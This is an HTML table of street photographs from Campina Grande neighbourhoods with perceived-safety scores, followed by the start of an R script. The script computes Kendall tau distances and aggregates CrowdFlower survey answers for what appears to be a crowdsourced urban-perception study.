<td>https://contribua.org/bairros/oeste/liberdade/Rua_Acre__635_270.jpg 5.09120212814</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Doutor_Severino_Cruz__411__270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Doutor_Severino_Cruz__411__270.jpg 5.0836752099</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Avenida_Dom_Pedro_II__500_270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Avenida_Dom_Pedro_II__500_270.jpg 5.03639809069</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Riachuelo__455__180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Riachuelo__455__180.jpg 5.0173506186</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Quebra_Quilos__399__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Quebra_Quilos__399__90.jpg 5.00647990071</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Odon_Bezerra__147_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Odon_Bezerra__147_90.jpg 5.00032675448</td>
<td><img src="https://contribua.org/bairros/norte/centro/Avenida_Presidente_Joao_Pessoa__128__180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Avenida_Presidente_Joao_Pessoa__128__180.jpg 4.96949334326</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Riachuelo__847__0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Riachuelo__847__0.jpg 4.95534103256</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Doutor_Antonio_Telha__68__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Doutor_Antonio_Telha__68__90.jpg 4.94789227558</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Vigario_Calixto__1201_0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Vigario_Calixto__1201_0.jpg 4.91362059246</td>
<td><img src="https://contribua.org/bairros/norte/centro/Avenida_Dom_Pedro_II__119_270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Avenida_Dom_Pedro_II__119_270.jpg 4.89431937018</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Odon_Bezerra__147_270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Odon_Bezerra__147_270.jpg 4.8898465786</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Vigario_Calixto__1201_180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Vigario_Calixto__1201_180.jpg 4.87939425474</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Odon_Bezerra__306_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Odon_Bezerra__306_90.jpg 4.8728407968</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/catole/Avenida_Prefeito_Severino_Bezerra_Cabral__218_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Avenida_Prefeito_Severino_Bezerra_Cabral__218_90.jpg 4.8577792144</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Doutor_Antonio_Telha__235_180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Doutor_Antonio_Telha__235_180.jpg 4.82697234445</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Deputado_Ascendino_Moura__101__270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Deputado_Ascendino_Moura__101__270.jpg 4.82400579863</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Padre_Pedro_Serrao__353__270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Padre_Pedro_Serrao__353__270.jpg 4.8122431047</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Odon_Bezerra__388__270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Odon_Bezerra__388__270.jpg 4.74296386075</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Olegario_Mariano__139_0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Olegario_Mariano__139_0.jpg 4.714265578</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Avenida_Presidente_Getulio_Vargas__271__270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Avenida_Presidente_Getulio_Vargas__271__270.jpg 4.71053664593</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Padre_Pedro_Serrao__207__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Padre_Pedro_Serrao__207__90.jpg 4.70063755427</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Severino_Pimentel__321__0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Severino_Pimentel__321__0.jpg 4.69928956141</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Severino_Pimentel__511_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Severino_Pimentel__511_90.jpg 4.69147124982</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Aluisio_Cunha_Linha__50__270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Aluisio_Cunha_Linha__50__270.jpg 4.68491832125</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Joao_da_Mata__490_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Joao_da_Mata__490_90.jpg 4.64359788406</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Coronel_Salvino_Figueiredo__251_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Coronel_Salvino_Figueiredo__251_90.jpg 4.63643039297</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Elias_Aforas__67__0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Elias_Aforas__67__0.jpg 4.63621058874</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Felix_Araujo__48__270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Felix_Araujo__48__270.jpg 4.61257298006</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Odon_Bezerra__388__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Odon_Bezerra__388__90.jpg 4.60655754457</td>
<td><img src="https://contribua.org/bairros/norte/centro/Avenida_Presidente_Getulio_Vargas__210__180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Avenida_Presidente_Getulio_Vargas__210__180.jpg 4.51038150997</td>
<td><img src="https://contribua.org/bairros/norte/centro/Avenida_Presidente_Getulio_Vargas__271__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Avenida_Presidente_Getulio_Vargas__271__90.jpg 4.50015232169</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Severino_Pimentel__511_270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Severino_Pimentel__511_270.jpg 4.49501542819</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Sebastiao_Vieira_da_Silva__1273__180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Sebastiao_Vieira_da_Silva__1273__180.jpg 4.48708550454</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Felix_Araujo__48__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Felix_Araujo__48__90.jpg 4.48544735132</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Espirito_Santo__1288__180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Espirito_Santo__1288__180.jpg 4.42676818896</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Odon_Bezerra__306_270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Odon_Bezerra__306_270.jpg 4.39444262748</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Aluisio_Cunha_Linha__50__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Aluisio_Cunha_Linha__50__90.jpg 4.39430658246</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Padre_Pedro_Serrao__353__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Padre_Pedro_Serrao__353__90.jpg 4.38616926877</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Deputado_Ascendino_Moura__101__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Deputado_Ascendino_Moura__101__90.jpg 4.33613763276</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Doutor_Antonio_Telha__235_0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Doutor_Antonio_Telha__235_0.jpg 4.32012373263</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Elias_Aforas__202_180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Elias_Aforas__202_180.jpg 4.31739616597</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Manoel_P._de_Araujo__150_270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Manoel_P._de_Araujo__150_270.jpg 4.30437545815</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Joao_da_Mata__490_270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Joao_da_Mata__490_270.jpg 4.26737015459</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Pedro_Alvares_Cabral__129_180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Pedro_Alvares_Cabral__129_180.jpg 4.25813171819</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Padre_Pedro_Serrao__336__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Padre_Pedro_Serrao__336__90.jpg 4.25418780696</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Manoel_P._de_Araujo__150_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Manoel_P._de_Araujo__150_90.jpg 4.25212946208</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Sebastiao_Vieira_da_Silva__1273__0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Sebastiao_Vieira_da_Silva__1273__0.jpg 4.20748804273</td>
<td><img src="https://contribua.org/bairros/norte/centro/Avenida_Presidente_Getulio_Vargas__395__270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Avenida_Presidente_Getulio_Vargas__395__270.jpg 4.20208135813</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Avenida_Assis_Chateaubriand__1334__180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Avenida_Assis_Chateaubriand__1334__180.jpg 4.19975309414</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Sergipe__1337_0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Sergipe__1337_0.jpg 4.19469053256</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Felix_Araujo__132__270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Felix_Araujo__132__270.jpg 4.1808537873</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Santa_Catarina__1231__0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Santa_Catarina__1231__0.jpg 4.15985253973</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Avenida_Dom_Pedro_II__119_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Avenida_Dom_Pedro_II__119_90.jpg 4.13972747042</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Riachuelo__930__180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Riachuelo__930__180.jpg 4.08542319496</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Elias_Aforas__202_0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Elias_Aforas__202_0.jpg 4.06004721304</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Pedro_Alvares_Cabral__129_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Pedro_Alvares_Cabral__129_90.jpg 3.98788706114</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Padre_Pedro_Serrao__207__270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Padre_Pedro_Serrao__207__270.jpg 3.9735470631</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Avenida_Assis_Chateaubriand__1334__0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Avenida_Assis_Chateaubriand__1334__0.jpg 3.95100534825</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Capitao_Joao_de_Sa__45__0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Capitao_Joao_de_Sa__45__0.jpg 3.94629703894</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Santa_Catarina__1231__180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Santa_Catarina__1231__180.jpg 3.90807281848</td>
<td><img src="https://contribua.org/bairros/norte/centro/Avenida_Presidente_Getulio_Vargas__210__0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Avenida_Presidente_Getulio_Vargas__210__0.jpg 3.89243578411</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Inacio_Marques_da_Silva__434_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Inacio_Marques_da_Silva__434_90.jpg 3.88783785111</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Riachuelo__455__0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Riachuelo__455__0.jpg 3.84323423092</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Doutor_Antonio_Telha__68__270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Doutor_Antonio_Telha__68__270.jpg 3.80409391153</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Augusto_Severo__71_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Augusto_Severo__71_90.jpg 3.79612821718</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Felix_Araujo__132__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Felix_Araujo__132__90.jpg 3.7413115486</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Augusto_Severo__71_0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Augusto_Severo__71_0.jpg 3.71994891618</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Capitao_Joao_de_Sa__45__180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Capitao_Joao_de_Sa__45__180.jpg 3.58916384357</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Edesio_Silva__602__180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Edesio_Silva__602__180.jpg 3.51960028621</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Manoel_P._de_Araujo__370_180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Manoel_P._de_Araujo__370_180.jpg 3.42411904329</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Cristina_Procopio_da_Silva__62__270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Cristina_Procopio_da_Silva__62__270.jpg 3.37978245848</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Manoel_P._de_Araujo__370_0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Manoel_P._de_Araujo__370_0.jpg 3.07293517097</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Sergipe__1337_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Sergipe__1337_90.jpg 2.88404713083</td>
</tr>
<tr>
</tr>
</table><h2>seguro?</h2><table>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Avenida_Presidente_Joao_Pessoa__128__180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Avenida_Presidente_Joao_Pessoa__128__180.jpg 5.79130903587</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Doutor_Severino_Cruz__411__270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Doutor_Severino_Cruz__411__270.jpg 5.76827357022</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Luisa_Bezerra_Mota__246_270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Luisa_Bezerra_Mota__246_270.jpg 5.71933168752</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Honorio_de_Melo__240__270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Honorio_de_Melo__240__270.jpg 5.64317276967</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Doutor_Severino_Cruz__411__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Doutor_Severino_Cruz__411__90.jpg 5.64007246763</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Doutor_Antonio_Telha_-_Catole__Campina_Grande__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Doutor_Antonio_Telha_-_Catole__Campina_Grande__90.jpg 5.62314876964</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Avenida_Presidente_Joao_Pessoa__128__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Avenida_Presidente_Joao_Pessoa__128__90.jpg 5.59894799243</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Quebra_Quilos__399__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Quebra_Quilos__399__90.jpg 5.59690357741</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Honorio_de_Melo__240__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Honorio_de_Melo__240__90.jpg 5.55572795337</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Joao_Francisco_Mota__64__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Joao_Francisco_Mota__64__90.jpg 5.52103508005</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Olegario_Mariano__139_270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Olegario_Mariano__139_270.jpg 5.516828513</td>
<td><img src="https://contribua.org/bairros/norte/centro/Avenida_Presidente_Getulio_Vargas__271__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Avenida_Presidente_Getulio_Vargas__271__90.jpg 5.51663959366</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/catole/Avenida_Prefeito_Severino_Bezerra_Cabral__218_0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Avenida_Prefeito_Severino_Bezerra_Cabral__218_0.jpg 5.49328101955</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Avenida_Prefeito_Severino_Bezerra_Cabral__218_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Avenida_Prefeito_Severino_Bezerra_Cabral__218_90.jpg 5.46048297474</td>
<td><img src="https://contribua.org/bairros/norte/centro/Avenida_Barao_Rio_Branco__141_270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Avenida_Barao_Rio_Branco__141_270.jpg 5.45491565323</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Quebra_Quilos__399__270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Quebra_Quilos__399__270.jpg 5.44882222982</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Inacio_Marques_da_Silva__434_270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Inacio_Marques_da_Silva__434_270.jpg 5.4486007851</td>
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<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Aluisio_Cunha_Linha__50__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Aluisio_Cunha_Linha__50__90.jpg 3.94866669431</td>
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<td><img src="https://contribua.org/bairros/norte/centro/Rua_Elias_Aforas__202_0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Elias_Aforas__202_0.jpg 3.94004913771</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Manoel_P._de_Araujo__370_180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Manoel_P._de_Araujo__370_180.jpg 3.89602349548</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Santa_Catarina__1231__0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Santa_Catarina__1231__0.jpg 3.86165336502</td>
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<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Riachuelo__455__0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Riachuelo__455__0.jpg 3.84873541192</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Elias_Aforas__202_180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Elias_Aforas__202_180.jpg 3.75120398578</td>
<td><img src="https://contribua.org/bairros/norte/centro/Avenida_Presidente_Getulio_Vargas__210__0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Avenida_Presidente_Getulio_Vargas__210__0.jpg 3.73667356398</td>
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<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Padre_Pedro_Serrao__207__270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Padre_Pedro_Serrao__207__270.jpg 3.67650784556</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Inacio_Marques_da_Silva__434_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Inacio_Marques_da_Silva__434_90.jpg 3.6480318099</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Sebastiao_Vieira_da_Silva__1273__0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Sebastiao_Vieira_da_Silva__1273__0.jpg 3.59253989098</td>
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<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Aluisio_Cunha_Linha__50__270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Aluisio_Cunha_Linha__50__270.jpg 3.51722906298</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Cristina_Procopio_da_Silva__62__270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Cristina_Procopio_da_Silva__62__270.jpg 3.49647665944</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Santa_Catarina__1231__180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Santa_Catarina__1231__180.jpg 3.48540318936</td>
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<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Doutor_Antonio_Telha__68__270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Doutor_Antonio_Telha__68__270.jpg 3.4839091809</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Edesio_Silva__602__180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Edesio_Silva__602__180.jpg 3.42381491895</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Sergipe__1337_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Sergipe__1337_90.jpg 3.33603136979</td>
</tr>
<tr>
</tr>
</table></body>
<file_sep>library(stringr)
require(gmodels)
require(vcd)
require(lme4)
library(nlme)
library(caret)
library(pscl)
library(DT)
library(ggplot2)
theme_set(theme_bw())
library(GGally)
library(dplyr, warn.conflicts = F)
library(broom)
library(car)
library(readr)
source("../analisaICPorFoto.R")
sample_size <- function(x) {
return ( ( ( sd(x) * qnorm(1-(0.05/2)) ) / ( 0.05 * mean(x) ) ) ** 2) #95% confidence interval, significance level of 0.05 (alpha) - sample 100
}
mergeSort <- function(x){
if(length(x) == 1){
inv <- 0
} else {
n <- length(x)
n1 <- ceiling(n/2)
n2 <- n-n1
y1 <- mergeSort(x[1:n1])
y2 <- mergeSort(x[n1+1:n2])
inv <- y1$inversions + y2$inversions
x1 <- y1$sortedVector
x2 <- y2$sortedVector
i1 <- 1
i2 <- 1
while(i1+i2 <= n1+n2+1){
if(i2 > n2 || (i1 <= n1 && x1[i1] <= x2[i2])){
x[i1+i2-1] <- x1[i1]
i1 <- i1 + 1
} else {
inv <- inv + n1 + 1 - i1
x[i1+i2-1] <- x2[i2]
i2 <- i2 + 1
}
}
}
return (list(inversions=inv,sortedVector=x))
}
numberOfInversions <- function(x){
r <- mergeSort(x)
return (r$inversions)
}
normalizedKendallTauDistance2 <- function(data1, data2){
x <- data1
y <- data2
tau = numberOfInversions(order(x)[rank(y)])
print(tau)
nItens = length(x)
maxNumberOfInverstions <- (nItens*(nItens-1))/2
normalized = tau/maxNumberOfInverstions
print (normalized)
}
#Reading CrowdFlower features data
dadosg1 <- read.csv("../regressao100/g1.csv")
dadosg2 <- read.csv("../regressao100/g2.csv")
dadosg3 <- read.csv("../regressao100/g3.csv")
dadosg4 <- read.csv("../regressao100/g4.csv")
dadosg5 <- read.csv("../regressao100/g5.csv")
dadosg6 <- read.csv("../regressao100/g6.csv")
dadosg7 <- read.csv("../regressao100/g7.csv")
dadosg8 <- read.csv("../regressao100/g8.csv")
dadosg9 <- read.csv("../regressao100/g9.csv")
dadosg10 <- read.csv("../regressao100/g10.csv")
dadosg11 <- read.csv("../regressao100/g11.csv")
dadosg12 <- read.csv("../regressao100/g12.csv")
dadosg13 <- read.csv("../regressao100/g13.csv")
#Summing features values - left and right
somaValores <- function(dados1, dados2, desvio1, desvio2, uplimit){
dados1[is.na(dados1)] <- 0
dados2[is.na(dados2)] <- 0
soma = dados1 + dados2
desvios = (desvio1 + desvio2)/2
desvio = sd(soma)
soma <- ifelse(soma < 0, 0, soma)
soma <- ifelse(soma > uplimit, uplimit, soma)
return (mean(soma))
}
#Mean of features values - left and right
mediaValores <- function(dados1, dados2, desvio1, desvio2, uplimit){
for (i in 1:length(dados1)){
if(is.na(dados1[i])){
dados1[i] <- dados2[i]
}
if(is.na(dados2[i])){
dados2[i] <- dados1[i]
}
}
soma = (dados1 + dados2) / 2
desvios = (desvio1 + desvio2)/2
desvio = sd(soma)
soma <- ifelse(soma < 0, 0, soma)
soma <- ifelse(soma > uplimit, uplimit, soma)
return (mean(soma))
}
#Creating values for the cases where only 1 answer was obtained considering the desviations of other features answers
geraValores <- function(lista, question, desvios, uplimit){
#desvio = sd(lista)
return (mean(lista, na.rm = TRUE))
}
Mode <- function(x) {
ux <- unique(x)
ux[which.max(tabulate(match(x, ux)))]
}
#Grouping by image and question - G1
by_image <- group_by(dadosg1, image_url)
desvios <- summarise (by_image,
sd1 = sd(question1, na.rm = TRUE),
sd2l = sd(question2__left_side, na.rm = TRUE),
sd2r = sd(question2__right_side, na.rm = TRUE),
sd3 = sd(question3, na.rm = TRUE) )
groupedData1 <- summarise(by_image,
#count = n(),
q1 = geraValores(question1, "1", desvios, 100),
#sdq1 = sd(question1, na.rm = TRUE),
q2 = mediaValores(question2__left_side, question2__right_side, desvios$sd2l, desvios$sd2r, 100),
q2_left = geraValores(question2__left_side, "2l", desvios, 100),
#sdq2_left = sd(question2__left_side, na.rm = TRUE),
q2_right = geraValores(question2__right_side, "2r", desvios, 100),
